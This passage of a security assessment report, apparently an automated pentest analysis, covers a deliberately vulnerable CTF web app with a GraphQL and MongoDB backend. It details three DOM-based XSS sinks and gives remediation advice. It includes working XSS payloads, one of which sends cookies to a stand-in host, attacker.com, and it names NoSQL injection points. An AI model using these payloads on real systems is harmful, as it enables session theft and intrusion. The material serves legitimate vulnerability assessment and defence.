Infrastructure as code is represented through two Docker configuration files: a multi-stage Dockerfile (`/app/Dockerfile`, 24 lines) that builds the Python environment and installs PhantomJS, and a Docker Compose orchestration file (`docker-compose.yml`, 27 lines) defining the web service and MongoDB containers with their networking and environment variable configuration. Notably absent are any CI/CD pipeline definitions (no GitHub Actions, GitLab CI, Jenkins files), infrastructure provisioning tools (no Terraform, Ansible, Kubernetes manifests), or build orchestration systems (no Makefiles, Taskfiles, or Dagger definitions beyond the simple Dockerfile). The `.env` file serves as the sole configuration mechanism for secrets management, containing the single FLAG environment variable in plaintext.

The application employs **no code generation, no build tools beyond Docker, and no testing frameworks**. There are no test directories, no pytest or unittest files, no linting configurations (no .pylintrc, pyproject.toml, or .flake8), and no pre-commit hooks or CI quality gates. The `requirements.txt` file lists only four production dependencies with pinned versions, eschewing any development dependencies like debuggers, profilers, or testing libraries. This absence of testing and quality assurance infrastructure is consistent with the CTF challenge context where the goal is to create exploitable vulnerabilities rather than prevent them.

From a discoverability perspective, this codebase structure makes security-relevant component identification almost effortless. The lack of abstraction layers, dependency injection frameworks, or complex architectural patterns means that attack surface analysis requires reading only the four core Python files in sequence: `app.py` to understand routing and entry points → `schema.py` to identify the NoSQL injection vulnerability → `models.py` to discover the exposed `flag` field → `database.py` to confirm the lack of database authentication. The JavaScript frontend in `static/js/scripts.js` is equally straightforward at 42 lines, immediately revealing the DOM-based XSS vulnerabilities through its use of jQuery template literal interpolation without sanitization. The entire application can be comprehensively audited by a security professional in under 30 minutes, which is both a strength (auditability) and a reflection of its purpose-built nature as a vulnerable-by-design system rather than a production application architecture.

---

## 8. Critical File Paths

The following file paths represent all security-relevant components referenced throughout this analysis, categorized by their functional role in the application architecture:

### Configuration
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/.env`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/Dockerfile`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/docker-compose.yml`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/requirements.txt`

### Authentication & Authorization
- **No authentication files exist** - the application implements zero authentication mechanisms
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/models.py` (contains unused `is_admin` field at line 7)

### API & Routing
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/app.py` (main Flask application, routes at lines 11-17, 20-22, 24-38)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/schema.py` (GraphQL schema and vulnerable resolver at lines 8-29)

### Data Models & DB Interaction
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/models.py` (User document model at lines 4-13)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/database.py` (MongoDB connection at lines 5-6)

### Dependency Manifests
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/requirements.txt`

### Sensitive Data & Secrets Handling
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/.env` (plaintext flag storage at line 1)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/Dockerfile` (flag as build argument and environment variable at lines 20-21)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/app.py` (database seeding with flag at lines 40-48)

### Middleware & Input Validation
- **No validation files exist** - the application performs zero input validation
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/schema.py` (NoSQL injection vulnerability at lines 11-16, options injection at lines 19-27)

### Logging & Monitoring
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/app.py` (single print statement logging at line 36)

### Infrastructure & Deployment
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/Dockerfile`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/docker-compose.yml`
- **No infrastructure configuration files exist** (no nginx.conf, Kubernetes manifests, or CDN settings)

### Frontend & Client-Side Code
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/templates/index.html`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/static/js/scripts.js` (DOM-based XSS vulnerabilities at lines 27-30)

### CTF Flag Storage
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/.env` (line 1: plaintext flag definition)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/Dockerfile` (lines 20-21: FLAG build argument and environment variable)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/app.py` (lines 40-48: reset_database() seeds MongoDB with flag in admin2 user)
- **MongoDB Database:** appdb.user collection, admin2 document (flag stored in plaintext BSON)

---

## 9. XSS Sinks and Render Contexts

This application contains **three DOM-based XSS vulnerabilities** in network-accessible client-side code, all exploitable through stored XSS attack chains originating from NoSQL injection-based data manipulation. The vulnerabilities exist in the JavaScript code that renders user data from the GraphQL API into the browser DOM without sanitization.

### XSS Sink 1: Username Field - HTML Body Context

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/static/js/scripts.js`, line 27

**Vulnerable Code:**
```javascript
const row = $(`
    <tr>
        <td>${user.username}</td>  // XSS SINK - HTML Body Context
        <td>${user.email}</td>
        <td><button class="btn btn-sm btn-primary view-details" data-username="${user.username}">View</button></td>
    </tr>
`);
$('#userTableBody').append(row);
```

**Render Context:** HTML Body Context - The `${user.username}` template literal interpolates user-controlled data directly into a `<td>` element within a table row. jQuery's `.append()` method parses this string as HTML, enabling script execution if the username contains HTML tags or JavaScript.

**Attack Vector:** Stored XSS via MongoDB → GraphQL API → DOM injection. An attacker would need to first insert a malicious username into the MongoDB database (achievable through NoSQL injection if mutations existed, or through direct database access). When any user loads the index page, the JavaScript fetches all users via the `/api/users` endpoint and renders the malicious username, triggering XSS.

**Exploitation Complexity:** LOW
- No input sanitization or output encoding
- jQuery directly parses HTML from template literals
- No Content Security Policy (CSP) headers to block inline scripts

**Example Payload:**
```
Username: <img src=x onerror=alert('XSS')>
Result: When rendered, creates an img tag that executes JavaScript on error event
```

**Impact:** Session hijacking (if sessions existed), credential theft, keylogging, persistent attacks affecting all users viewing the user list, potential cookie theft if sensitive cookies are set.

---

### XSS Sink 2: Email Field - HTML Body Context

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/static/js/scripts.js`, line 28

**Vulnerable Code:**
```javascript
const row = $(`
    <tr>
        <td>${user.username}</td>
        <td>${user.email}</td>  // XSS SINK - HTML Body Context
        <td><button class="btn btn-sm btn-primary view-details" data-username="${user.username}">View</button></td>
    </tr>
`);
```

**Render Context:** HTML Body Context - Identical vulnerability to Sink 1, but affecting the email field instead of username.

**Attack Vector:** Stored XSS via database poisoning. The email field is intended to contain email addresses but lacks validation, allowing arbitrary HTML/JavaScript content to be stored and rendered.

**Exploitation Complexity:** LOW (identical to Sink 1)

**Example Payload:**
```
Email: test@example.com"><script>fetch('https://attacker.com/steal?data='+document.cookie)</script>
Result: Closes the <td> tag and injects a <script> tag that exfiltrates cookies
```

**Impact:** Identical to Sink 1 - persistent XSS affecting all users loading the index page.

---

### XSS Sink 3: data-username Attribute - HTML Attribute Context

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/static/js/scripts.js`, line 30

**Vulnerable Code:**
```javascript
const row = $(`
    <tr>
        <td>${user.username}</td>
        <td>${user.email}</td>
        <td><button class="btn btn-sm btn-primary view-details" data-username="${user.username}">View</button></td>
    </tr>  // XSS SINK - HTML Attribute Context
`);
```

**Render Context:** HTML Attribute Context - The `${user.username}` value is interpolated into the `data-username` attribute of a button element. This creates an attribute injection vulnerability where attackers can break out of the attribute context and inject event handlers.

**Attack Vector:** Attribute breakout → event handler injection. By including quote characters in the username, an attacker can close the `data-username` attribute and inject additional attributes like `onclick`, `onmouseover`, or `onerror`.

**Exploitation Complexity:** LOW
- No attribute encoding (quotes are not escaped)
- Template literals allow quote characters without sanitization
- Multiple event handler injection points available

**Example Payload:**
```
Username: " onclick="alert('XSS')" x="
Rendered HTML: <button class="..." data-username="" onclick="alert('XSS')" x="">View</button>
Result: Clicking the "View" button triggers JavaScript execution
```

**Alternative Payload (Immediate Execution):**
```
Username: " autofocus onfocus="alert(document.domain)" x="
Result: JavaScript executes immediately when the element receives focus
```

**Impact:** User interaction-triggered XSS (requires clicking the View button or focus event), but can be chained with social engineering or automated by subsequent scripts. Allows arbitrary JavaScript execution in the context of the application's origin.

---

### Exploitation Chain Summary

All three XSS sinks share a common exploitation chain:

1. **Data Injection:** Attacker injects malicious payload into MongoDB (requires NoSQL injection vulnerability or direct database access)
2. **Data Storage:** Malicious username/email stored in User collection as plaintext
3. **API Retrieval:** Victim loads index page, JavaScript fetches users via `/api/users` endpoint
4. **GraphQL Response:** Server returns JSON containing unsanitized malicious payloads
5. **DOM Rendering:** JavaScript interpolates payloads into template literals
6. **jQuery Parsing:** `.append()` parses the string as HTML, executing embedded scripts
7. **Payload Execution:** XSS triggers, executing arbitrary JavaScript in victim's browser

**Combined Risk Assessment:**
- **Severity:** CRITICAL (all three sinks)
- **CVSS Base Score:** 7.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N) - assumes PR:L because injection requires database write access
- **CWE Classification:** CWE-79 (Improper Neutralization of Input During Web Page Generation)

---

### Server-Side Template Injection: NOT VULNERABLE

**Analysis:** The single Jinja2 template (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/templates/index.html`) contains only a safe `url_for()` function call with no user-controllable input. Jinja2's autoescaping is enabled by default in Flask 3.x, and the application does not use `render_template_string()`, the `|safe` filter, or disable autoescaping. Therefore, **no Server-Side Template Injection (SSTI) vulnerabilities exist**.

---

### Remediation Recommendations

**Immediate (CRITICAL Priority):**
1. Replace template literal HTML generation with secure DOM manipulation:
```javascript
// BEFORE (vulnerable):
const row = $(`<tr><td>${user.username}</td></tr>`);

// AFTER (secure):
const row = $('<tr>')
    .append($('<td>').text(user.username))  // .text() auto-escapes HTML
    .append($('<td>').text(user.email));
```

2. Implement Content Security Policy (CSP) headers to block inline scripts:
```python
@app.after_request
def set_csp(response):
    response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self'"
    return response
```

3. Add input validation on the backend to reject HTML/JavaScript in username and email fields:
```python
import re
def validate_user_input(value):
    if re.search(r'[<>"\']', value):
        raise ValueError("HTML characters not allowed")
```

**HIGH Priority:**
4. Implement DOMPurify or similar sanitization library for any unavoidable HTML rendering
5. Add X-XSS-Protection and X-Content-Type-Options headers
6. Enable HttpOnly and Secure flags on any future session cookies to limit XSS impact

---

## 10. SSRF Sinks

**COMPREHENSIVE ANALYSIS RESULT: NO SSRF VULNERABILITIES FOUND**

After exhaustive analysis of all network-accessible endpoints and server-side code paths, this application is **architecturally immune to Server-Side Request Forgery (SSRF) attacks**. The application performs zero outbound HTTP requests, does not process URLs from user input, and contains no functionality that opens external resources or makes server-side network connections to user-controlled destinations.

### Exhaustive Pattern Search Methodology

The following SSRF attack vectors were systematically searched across all Python source files (`app.py`, `schema.py`, `models.py`, `database.py`) with **ZERO matches found**:

**HTTP(S) Clients:** No instances of:
- `import requests` / `requests.get()` / `requests.post()`
- `import urllib` / `urllib.request.urlopen()` / `urllib.request.urlretrieve()`
- `import httpx` / `import aiohttp` / `import curl`
- `http.client.HTTPConnection` / `http.client.HTTPSConnection`

**Raw Socket/Connect APIs:** No instances of:
- `import socket` / `socket.connect()` / `socket.create_connection()`
- Network operations beyond MongoDB driver's internal connection

**URL Opening Functions:** No instances of:
- `open(url)` with URL schemes
- `urlopen()` / `urlretrieve()`
- `io.open()` with remote paths

**Subprocess Execution with URLs:** No instances of:
- `subprocess.run()` / `subprocess.Popen()` / `os.system()`
- `curl`, `wget`, `fetch` commands via shell execution

**Headless Browsers:** Critical finding:
- **PhantomJS installed** (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/Dockerfile` lines 8-12) but **NEVER imported or used** in any Python file
- No Selenium, Puppeteer, Playwright, or browser automation code exists
- PhantomJS installation appears to be a red herring or abandoned feature

**Media Processors:** No instances of:
- ImageMagick / PIL / Pillow with URL inputs
- FFmpeg / wkhtmltopdf / Ghostscript
- PDF generation libraries with remote resource loading

**Webhook/Callback Handlers:** No instances of:
- Outbound webhook POST requests
- Callback verification endpoints
- "Ping URL" functionality

**SSO/OIDC Discovery:** No instances of:
- OpenID Connect discovery endpoints (`.well-known/openid-configuration` fetchers)
- JWKS (JSON Web Key Set) retrieval
- OAuth metadata fetchers
- SAML metadata processors

**File Import/Download:** No instances of:
- "Import from URL" features
- RSS/Atom feed readers
- Remote configuration file fetchers
- Package/plugin installers with URL support

### Architecture Analysis: Why SSRF is Not Applicable

The application's fundamental architecture makes SSRF attacks impossible:

**Inbound-Only Network Model:**
- The application exclusively receives HTTP requests and queries an internal MongoDB database
- No functionality requires making outbound HTTP requests to external services
- The only network connections are: (1) Inbound HTTP from clients to Flask on port 5003, (2) Outbound MongoDB connection to `mongo:27017` (static internal hostname, not user-controllable)

**No URL Parameters:**
Searching all endpoints for URL-accepting parameters:
- `/` (GET) - No parameters, renders static HTML template
- `/api/users` (POST) - Accepts `query` parameter (GraphQL query string, not a URL)
- `/graphql` (GET/POST) - GraphQL endpoint with `search`, `options`, `dummy`, `is_admin` parameters (all JSON strings or booleans, none accept URLs)

**MongoDB Connection String Isolation:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/database.py`, lines 5-6
- **Code:** `db = connect(db='appdb', host='mongo', port=27017)`
- **Analysis:** The connection string is hardcoded with static values. There is no endpoint or parameter that allows users to specify database host, port, or connection string. Even with NoSQL injection, attackers cannot modify the connection target—only the query filter criteria.

**No External Integrations:**
The application has zero integration with external services:
- No payment gateways (Stripe, PayPal)
- No email services (SendGrid, Mailgun, SMTP)
- No cloud storage (S3, GCS, Azure Blob)
- No CDNs or media processing services
- No authentication providers (Auth0, Okta, Google OAuth)
- No monitoring/logging SaaS (Datadog, New Relic, Sentry)

### Code Evidence: All Network-Accessible Endpoints

**Endpoint 1: `GET /`**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/app.py`, lines 20-22
- **Code:**
```python
@app.route('/')
def index():
    return render_template('index.html')
```
- **SSRF Analysis:** Renders a static Jinja2 template with no outbound requests.

**Endpoint 2: `POST /api/users`**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/app.py`, lines 24-38
- **Code:**
```python
@app.route('/api/users', methods=['POST'])
def get_users(): 
    query = request.json.get('query') 
    response = schema.execute(query)  # GraphQL execution (no HTTP requests)
    # ... response processing, no outbound HTTP ...
    return jsonify({"users": users})
```
- **SSRF Analysis:** Executes GraphQL query against local MongoDB. The `schema.execute()` function calls the resolver in `schema.py` which performs only database queries, never HTTP requests.

**Endpoint 3: `GET/POST /graphql`**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/app.py`, lines 11-17
- **Code:**
```python
app.add_url_rule(
    '/graphql',
    view_func=GraphQLView.as_view(
        'graphql',
        schema=schema,
        graphiql=True
    )
)
```
- **SSRF Analysis:** GraphQL endpoint executes the same `resolve_users()` function from `schema.py`. The resolver code (lines 8-29) contains only MongoDB queries via MongoEngine: `User.objects()`, `query.filter()`, `query.skip()`, `query.limit()`. No HTTP client libraries, URL parsing, or network connection code exists.

### Conclusion: SSRF Attack Surface = Zero

This application is **fundamentally incompatible with SSRF vulnerabilities** due to its architecture as a simple CRUD API with no outbound request functionality. The application:
1. Does not import any HTTP client libraries
2. Does not accept URL parameters from users
3. Does not perform any server-side fetching, downloading, or HTTP requests
4. Contains only database query logic (MongoDB) with a static, non-user-controllable connection string
5. Has no features requiring external resource retrieval (no image processing, PDF generation, webhook callbacks, SSO discovery, etc.)

**Recommendation:** While no SSRF vulnerabilities exist in the current codebase, if future features are added that require outbound HTTP requests (e.g., webhook notifications, user avatar fetching from URLs, SSO integration), developers must implement strict URL validation, whitelist allowed protocols and domains, disable redirects, and use network-level egress filtering to prevent SSRF attacks.